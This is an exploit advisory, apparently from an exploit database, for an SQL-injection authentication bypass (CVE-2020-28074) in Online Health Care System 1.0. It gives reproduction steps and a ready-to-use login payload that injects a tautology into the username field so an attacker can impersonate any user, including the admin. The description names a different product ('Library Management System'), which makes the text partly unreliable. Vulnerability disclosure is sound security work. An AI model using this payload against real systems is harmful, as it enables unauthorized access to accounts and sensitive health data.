# Exploit Title: ​Authentication Bypass via ​SQL injection on ​Online Health Care System 1.0 # Date: 23/10/2020
# Exploit Author: Valerio Alessandroni
# Vendor Homepage: https://www.sourcecodester.com
# Software Link:
https://www.sourcecodester.com/php/14526/online-health-care-system-php-full-source-code- 2020.html
# Version: 1.0
# Tested on: ubuntu 18.04
# CVE : ​CVE-2020-28074
# Description:
SQL injection on Library Management System v1.0 allows a potentially attacker to bypass the user authentication and impersonificate every user on the system.
# Reproduction:
- Go to login page (​http://127.0.0.1/HealthCare/Admin/adminlogin.php​) - intercept the login request and replace the parameters
username=admin@email.test' AND 1=1;-- - password=RandomlyText